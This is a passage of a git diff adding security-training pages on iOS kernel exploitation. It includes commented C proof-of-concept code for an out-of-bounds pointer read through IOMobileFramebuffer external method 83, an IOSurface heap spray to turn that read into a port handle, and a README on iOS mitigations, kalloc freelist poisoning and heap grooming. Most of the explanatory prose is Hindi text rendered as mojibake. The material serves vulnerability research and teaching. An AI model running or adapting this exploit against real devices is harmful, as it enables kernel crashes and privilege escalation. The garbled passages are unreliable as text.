class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** тЖТ OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// тЖТ IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ + +1. **рд╕рд╣реА user client рдЦреЛрд▓рдирд╛** + +- `get_appleclcd_uc()` **AppleCLCD** рд╕реЗрд╡рд╛ рдвреВрдБрдврддрд╛ рд╣реИ рдФрд░ **user client type 2** рдЦреЛрд▓рддрд╛ рд╣реИред AppleCLCD рдФрд░ IOMobileFramebuffer рд╕рдорд╛рди external-methods table рд╕рд╛рдЭрд╛ рдХрд░рддреЗ рд╣реИрдВ; type 2 **selector 83** рдХреЛ рдПрдХреНрд╕рдкреЛрдЬрд╝ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ vulnerable method рд╣реИред **рдпрд╣ рдмрдЧ рдореЗрдВ рдЖрдкрдХрд╛ рдкреНрд░рд╡реЗрд╢ рд╣реИред** E_POC/) + +**рдХреНрдпреЛрдВ 83 рдорд╛рдпрдиреЗ рд░рдЦрддрд╛ рд╣реИ:** рдбрд┐рдХрдореНрдкрд╛рдЗрд▓ рдХрд┐рдпрд╛ рд╣реБрдЖ path рд╣реИ: + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +тЖТ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +тЖТ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +рдЙрд╕ рдЖрдЦрд┐рд░реА рдХреЙрд▓ рдХреЗ рдЕрдВрджрд░, рдХреЛрдб **рдЖрдкрдХреЗ 32-bit scalar рдХреЛ рдмрд┐рдирд╛ рдХрд┐рд╕реА bounds check рдХреЗ array index рдХреА рддрд░рд╣ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рддрд╛ рд╣реИ**, **`this + 0xA58 + index*8`** рд╕реЗ рдПрдХ pointer рдлреЗрдЪ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЙрд╕реЗ `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` рдХреЛ `IOSurface*` рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред **рдпрд╣ OOB + type confusion рд╣реИред** + +2. **The heap spray (рдпрд╣рд╛рдБ IOSurface рдХреНрдпреЛрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ)** + +- `do_spray()` **`IOSurfaceRootUserClient`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ IOSurfaces рдмрдирд╛рддрд╛ рд╣реИ рдФрд░ рдЫреЛрдЯреЗ рдорд╛рди spray рдХрд░рддрд╛ рд╣реИ (`s_set_value` style). рдпрд╣ рдкрд╛рд╕ рдХреЗ kernel heaps рдХреЛ **valid IOSurface objects рдХреЗ pointers** рд╕реЗ рднрд░ рджреЗрддрд╛ рд╣реИред + +- **рд▓рдХреНрд╖реНрдп:** рдЬрдм selector 83 legit table рд╕реЗ рдЖрдЧреЗ рдкрдврд╝рддрд╛ рд╣реИ, рддреЛ рд╕рдВрднрд╡рддрдГ **OOB slot рдореЗрдВ рдЖрдкрдХреЗ (real) IOSurfaces рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдПрдХ рдХрд╛ pointer рд╣реЛрдЧрд╛** тАФ рдЗрд╕рд▓рд┐рдП рдмрд╛рдж рдореЗрдВ dereference **crash рдирд╣реАрдВ рдХрд░реЗрдЧрд╛** рдФрд░ **рд╕рдлрд▓ рд╣реЛрдЧрд╛**ред IOSurface рдПрдХ рдХреНрд▓рд╛рд╕рд┐рдХ, рдЕрдЪреНрдЫреА рддрд░рд╣ documented kernel spray primitive рд╣реИ, рдФрд░ Saar рдХрд╛ рдкреЛрд╕реНрдЯ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕ exploitation flow рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП **create / set_value / lookup** methods рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рддрд╛ рд╣реИред + +3. **The "offset/8" trick (рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╡рд╣ index рдХреНрдпрд╛ рд╣реИ)** + +- `trigger_oob(offset)` рдореЗрдВ, рдЖрдк `scalars[0] = offset / 8` рд╕реЗрдЯ рдХрд░рддреЗ рд╣реИрдВред + +- **рдХреНрдпреЛрдВ 8 рд╕реЗ рднрд╛рдЧ?** Kernel рдЧрдгрдирд╛ рдХреЗ рд▓рд┐рдП **`base + index*8`** рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди-рд╕рд╛ **pointer-sized slot** рдкрдврд╝рдирд╛ рд╣реИред рдЖрдк **"slot number N"** рдЪреБрди рд░рд╣реЗ рд╣реИрдВ, рди рдХрд┐ byte offset. 64-bit рдкрд░ **рдкреНрд░рддрд┐ slot рдЖрда bytes**ред + +- рд╡рд╣ рдЧрдгрдирд╛ рдХрд┐рдпрд╛ рд╣реБрдЖ address **`this + 0xA58 + index*8`** рд╣реИред PoC рдПрдХ рдмрдбрд╝рд╛ constant (`0x1200000 + 0x1048`) рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рд╕рд┐рд░реНрдл рдЗрд╕рд▓рд┐рдП рдХрд┐ рд╡рд╣ **рдмрд╣реБрдд рджреВрд░ OOB** рдореЗрдВ рдЪрд▓реЗ рдЬрд╛рдП рдЙрд╕ region рдореЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ **IOSurface pointers рд╕реЗ рдШрдиреАрднреВрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА рд╣реИ**ред **рдЕрдЧрд░ spray "рдЬреАрддрддрд╛" рд╣реИ, рддреЛ рдЬрд┐рд╕ slot рдкрд░ рдЖрдк рдкрд╣реБрдБрдЪрддреЗ рд╣реИрдВ рд╡рд╣ рдПрдХ рд╡реИрдз `IOSurface*` рд╣реЛрдЧрд╛ред** + +4. **selector 83 рдХреНрдпрд╛ return рдХрд░рддрд╛ рд╣реИ (рдпрд╣ рд╕реВрдХреНрд╖реНрдо рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ)** + +- рдХреЙрд▓ рд╣реИ: + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);` + +- рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ, OOB pointer fetch рдХреЗ рдмрд╛рдж, driver рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**ред + +- **рдкрд░рд┐рдгрд╛рдо:** **`output_scalars[0]` рдЖрдкрдХреЗ task рдореЗрдВ рдПрдХ Mach port name (u32 handle) рд╣реИ** рдЙрд╕ object pointer рдХреЗ рд▓рд┐рдП рдЬреЛ рдЖрдкрдиреЗ OOB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдпрд╛ рдерд╛ред **рдпрд╣ raw kernel address leak рдирд╣реАрдВ рд╣реИ; рдпрд╣ рдПрдХ userspace handle (send right) рд╣реИред** рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ (рдПрдХ *port name* рдХреЙрдкреА рдХрд░рдирд╛) Saar рдХреЗ decompilation рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред + +**рдпрд╣ рдЙрдкрдпреЛрдЧреА рдХреНрдпреЛрдВ рд╣реИ:** рдЬрд┐рд╕ (рд╕рдореНрднрд╛рд╡рд┐рдд) IOSurface рдХреЗ рд▓рд┐рдП рдЖрдкрдХрд╛ рдПрдХ **port name** рд╣реИ, рдЖрдк рдЕрдм **IOSurfaceRoot methods** рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: + +- **`s_lookup_surface_from_port` (method 34)** тЖТ рдкреЛрд░реНрдЯ рдХреЛ рдПрдХ **surface ID** рдореЗрдВ рдмрджрд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЕрдиреНрдп IOSurface calls рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдСрдкрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ + +- **`s_create_port_from_surface` (method 35)** рдпрджрд┐ рдЖрдкрдХреЛ рдЙрд▓рдЯрд╛ рдЪрд╛рд╣рд┐рдПред\ +Saar рдЗрди рд╕рдЯреАрдХ methods рдХреЛ рдЕрдЧрд▓реЗ рдХрджрдо рдХреЗ рд░реВрдк рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИред **PoC рдпрд╣ рд╕рд╛рдмрд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рдЖрдк OOB slot рд╕реЗ рдПрдХ рд╡реИрдз IOSurface handle "manufacture" рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +This [PoC was taken from here](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) рдФрд░ рдЪрд░рдгреЛрдВ рдХреА рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХреЗ рд▓рд┐рдП рдХреБрдЫ comments рдЬреЛрдбрд╝реЗ рдЧрдП рд╣реИрдВ: +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. тнР +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. тнР + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk тЖТ deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. тнР +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The тАЬwith_gcтАЭ flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## рд╕рдВрджрд░реНрдн +- [Original writeup by Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Research from jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..09e1df3ac --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,257 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against AppleтАЩs trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. +- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using AppleтАЩs root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts. +- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernelтАЩs base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control. +- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernelтАЩs code pages to ensure they havenтАЩt been modified. If any tampering is detectedтАФsuch as an exploit trying to patch kernel functions or insert malicious codeтАФthe device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers canтАЩt simply hook or patch kernel instructions without triggering a system crash. +- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPUтАЩs memory controller to mark the kernelтАЩs code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackersтАФand even privileged codeтАФfrom patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly. +- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably. +- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques. +- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones." +Each zone only stores allocations of a single size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. | +| `default.kalloc.32` | 32 bytes | Small structs, object headers. | +| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. | +| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. | +| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. | +| тАж | тАж | тАж | +| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. | + +**How it worked:** +- Each allocation request gets **rounded up** to the nearest zone size. +(E.g., a 50-byte request lands in the `kalloc.64` zone). +- Memory in each zone was kept in a **free list** тАФ chunks freed by the kernel went back into that zone. +- If you overflowed a 64-byte buffer, youтАЩd overwrite the **next object in the same zone**. + +This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class. + +### The freelist + +Inside each kalloc zone, freed objects werenтАЩt returned directly to the system тАФ they went into a freelist, a linked list of available chunks. + +- When a chunk was freed, the kernel wrote a pointer at the start of that chunk тЖТ the address of the next free chunk in the same zone. + +- The zone kept a HEAD pointer to the first free chunk. + +- Allocation always used the current HEAD: + +1. Pop HEAD (return that memory to the caller). + +2. Update HEAD = HEAD->next (stored in the freed chunkтАЩs header). + +- Freeing pushed chunks back: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +So the freelist was just a linked list built inside the freed memory itself. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD тФАтФАтЦ║ [ F ] тФАтФАтЦ║ [ F ] тФАтФАтЦ║ [ F ] тФАтФАтЦ║ [ F ] тФАтФАтЦ║ NULL +(next ptrs stored at start of freed chunks) +``` +### freelist рдХрд╛ рд╢реЛрд╖рдг + +рдХреНрдпреЛрдВрдХрд┐ рдПрдХ free chunk рдХреЗ рдкрд╣рд▓реЗ 8 bytes = freelist pointer рд╣реЛрддреЗ рд╣реИрдВ, рдПрдХ attacker рдЗрд╕реЗ corrupt рдХрд░ рд╕рдХрддрд╛ рд╣реИ: + +1. **Heap overflow** рдПрдХ adjacent freed chunk рдореЗрдВ тЖТ рдЙрд╕рдХреЗ тАЬnextтАЭ pointer рдХреЛ overwrite рдХрд░ рджреЗрдирд╛ред +2. **Use-after-free** рдПрдХ freed object рдореЗрдВ write рдХрд░рдХреЗ тЖТ рдЙрд╕рдХреЗ тАЬnextтАЭ pointer рдХреЛ overwrite рдХрд░ рджреЗрдирд╛ред + +рдлрд┐рд░, рдЙрд╕ size рдХреА рдЕрдЧрд▓реА allocation рдкрд░: + +- allocator corrupted chunk рдХреЛ pop рдХрд░ рджреЗрддрд╛ рд╣реИред +- attacker-supplied тАЬnextтАЭ pointer рдХрд╛ рдкрд╛рд▓рди рдХрд░рддрд╛ рд╣реИред +- рдПрдХ pointer arbitrary memory рдХреА рдУрд░ return рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ fake object primitives рдпрд╛ targeted overwrite рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред + +Visual example of freelist poisoning: +``` +Before corruption: +HEAD тФАтФАтЦ║ [ F1 ] тФАтФАтЦ║ [ F2 ] тФАтФАтЦ║ [ F3 ] тФАтФАтЦ║ NULL + +After attacker overwrite of F1->next: +HEAD тФАтФАтЦ║ [ F1 ] +(next) тФАтФАтЦ║ 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone тЖТ kernel hands out memory at attacker-controlled address. +``` +This freelist design рдиреЗ hardening рд╕реЗ рдкрд╣рд▓реЗ exploitation рдХреЛ рдмрд╣реБрдд рдкреНрд░рднрд╛рд╡реА рдмрдирд╛ рджрд┐рдпрд╛ рдерд╛: predictable neighbors from heap sprays, raw pointer freelist links, рдФрд░ type separation рдХрд╛ рдЕрднрд╛рд╡ attackers рдХреЛ UAF/overflow рдмрдЧреНрд╕ рдХреЛ arbitrary kernel memory control рдореЗрдВ escalate рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рдерд╛ред + +### Heap Grooming / Feng Shui +The goal of heap grooming is to **shape the heap layout** рддрд╛рдХрд┐ рдЬрдм attacker overflow рдпрд╛ use-after-free trigger рдХрд░реЗ, рддреЛ target (victim) object рдареАрдХ attacker-controlled object рдХреЗ рдмрдЧрд▓ рдореЗрдВ рдмреИрдареЗред\ +рдЗрд╕ рддрд░рд╣, рдЬрдм memory corruption рд╣реЛрддрд╛ рд╣реИ, attacker reliably victim object рдХреЛ controlled data рд╕реЗ overwrite рдХрд░ рд╕рдХрддрд╛ рд╣реИред + +**Steps:** + +1. Spray allocations (fill the holes) +- рд╕рдордп рдХреЗ рд╕рд╛рде, kernel heap fragmented рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ: рдХреБрдЫ zones рдореЗрдВ holes рдмрди рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рдкреБрд░рд╛рдиреЗ objects free рд╣реБрдП рдереЗред +- attacker рдкрд╣рд▓реЗ рдмрд╣реБрдд рд╕рд╛рд░реЗ dummy allocations рдХрд░рдХреЗ рдЗрди gaps рдХреЛ рднрд░рддрд╛ рд╣реИ, рддрд╛рдХрд┐ heap тАЬpackedтАЭ рдФрд░ predictable рдмрди рдЬрд╛рдПред + +2. Force new pages +- рдПрдХ рдмрд╛рд░ holes рднрд░ рджрд┐рдП рдЬрд╛рдиреЗ рдкрд░, рдЕрдЧрд▓реА allocations рдЙрди new pages рд╕реЗ рдЖрдиреА рдЪрд╛рд╣рд┐рдП рдЬреЛ zone рдореЗрдВ рдЬреЛрдбрд╝реА рдЧрдИ рд╣реЛрдВред +- Fresh pages рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ objects cluster рд╣реЛрдВрдЧреЗ, рдкреБрд░рд╛рдиреЗ fragmented memory рдореЗрдВ рдмрд┐рдЦрд░реЗ рдирд╣реАрдВ рд╣реЛрдВрдЧреЗред +- рдЗрд╕рд╕реЗ attacker рдХреЛ neighbors рдкрд░ рдмреЗрд╣рддрд░ control рдорд┐рд▓рддрд╛ рд╣реИред + +3. Place attacker objects +- attacker рдЕрдм рдлрд┐рд░ рд╕реЗ spray рдХрд░рддрд╛ рд╣реИ, рдЙрди new pages рдореЗрдВ рдмрд╣реБрдд рд╕рд╛рд░реЗ attacker-controlled objects рдмрдирд╛рддрд╛ рд╣реИред +- рдпреЗ objects size рдФрд░ placement рдореЗрдВ predictable рд╣реЛрддреЗ рд╣реИрдВ (рдХреНрдпреЛрдВрдХрд┐ рдпреЗ рд╕рднреА рдЙрд╕реА zone рдХреЗ рд╣реИрдВ)ред + +4. Free a controlled object (make a gap) +- attacker рдЬрд╛рдирдмреВрдЭрдХрд░ рдЕрдкрдиреЗ рдПрдХ object рдХреЛ free рдХрд░рддрд╛ рд╣реИред +- рдЗрд╕рд╕реЗ heap рдореЗрдВ рдПрдХ тАЬholeтАЭ рдмрдирддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ allocator рдмрд╛рдж рдореЗрдВ рдЙрд╕реА size рдХреА рдЕрдЧрд▓реА allocation рдХреЗ рд▓рд┐рдП reuse рдХрд░реЗрдЧрд╛ред + +5. Victim object lands in the hole +- attacker kernel рдХреЛ trigger рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ victim object (рдЬрд┐рд╕реЗ рд╡реЗ corrupt рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ) allocate рд╣реЛред +- рдЪреВрдБрдХрд┐ hole freelist рдореЗрдВ рдкрд╣рд▓рд╛ рдЙрдкрд▓рдмреНрдз slot рд╣реЛрддрд╛ рд╣реИ, victim рдареАрдХ рд╡рд╣рд╛рдБ рд░рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ attacker рдиреЗ рдЕрдкрдирд╛ object free рдХрд┐рдпрд╛ рдерд╛ред + +6. Overflow / UAF into victim +- рдЕрдм attacker рдХреЗ рдкрд╛рд╕ victim рдХреЗ рдЖрд╕рдкрд╛рд╕ attacker-controlled objects рд╣реЛрддреЗ рд╣реИрдВред +- рдЕрдкрдиреЗ рдХрд┐рд╕реА object рд╕реЗ overflow рдХрд░ рдХреЗ (рдпрд╛ freed object рдХреЛ reuse рдХрд░рдХреЗ), рд╡реЗ reliably victimтАЩs memory fields рдХреЛ рдЪреБрдиреЗ рд╣реБрдП рдорд╛рдиреЛрдВ рд╕реЗ overwrite рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +**Why it works**: + +- Zone allocator predictability: рдПрдХ рд╣реА size рдХреА allocations рд╣рдореЗрд╢рд╛ рдЙрд╕реА zone рд╕реЗ рдЖрддреА рд╣реИрдВред +- Freelist behavior: рдирдИ allocations рд╕рдмрд╕реЗ рд╣рд╛рд▓ рд╣реА рдореЗрдВ free рд╣реБрдП chunk рдХреЛ рдкрд╣рд▓реЗ reuse рдХрд░рддреА рд╣реИрдВред +- Heap sprays: attacker predictable content рд╕реЗ memory рднрд░рддрд╛ рд╣реИ рдФрд░ layout рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИред +- End result: attacker рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ victim object рдХрд╣рд╛рдБ рдЖрдПрдЧрд╛ рдФрд░ рдЙрд╕рдХреЗ рдкрд╛рд╕ рдХреМрди рд╕рд╛ data рд░рд╣реЗрдЧрд╛ред + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple рдиреЗ allocator рдХреЛ harden рдХрд┐рдпрд╛ рдФрд░ **heap grooming рдХреЛ рдХрд╛рдлреА рдХрдард┐рди** рдмрдирд╛ рджрд┐рдпрд╛: + +### 1. From Classic kalloc to kalloc_type +- **Before**: рд╣рд░ size class (16, 32, 64, тАж 1280, рдЖрджрд┐) рдХреЗ рд▓рд┐рдП рдПрдХ single `kalloc.` zone рдореМрдЬреВрдж рдерд╛ред рдЙрд╕реА size рдХрд╛ рдХреЛрдИ рднреА object рд╡рд╣рд╛рдБ рд░рдЦрд╛ рдЬрд╛рддрд╛ рдерд╛ тЖТ attacker objects privileged kernel objects рдХреЗ 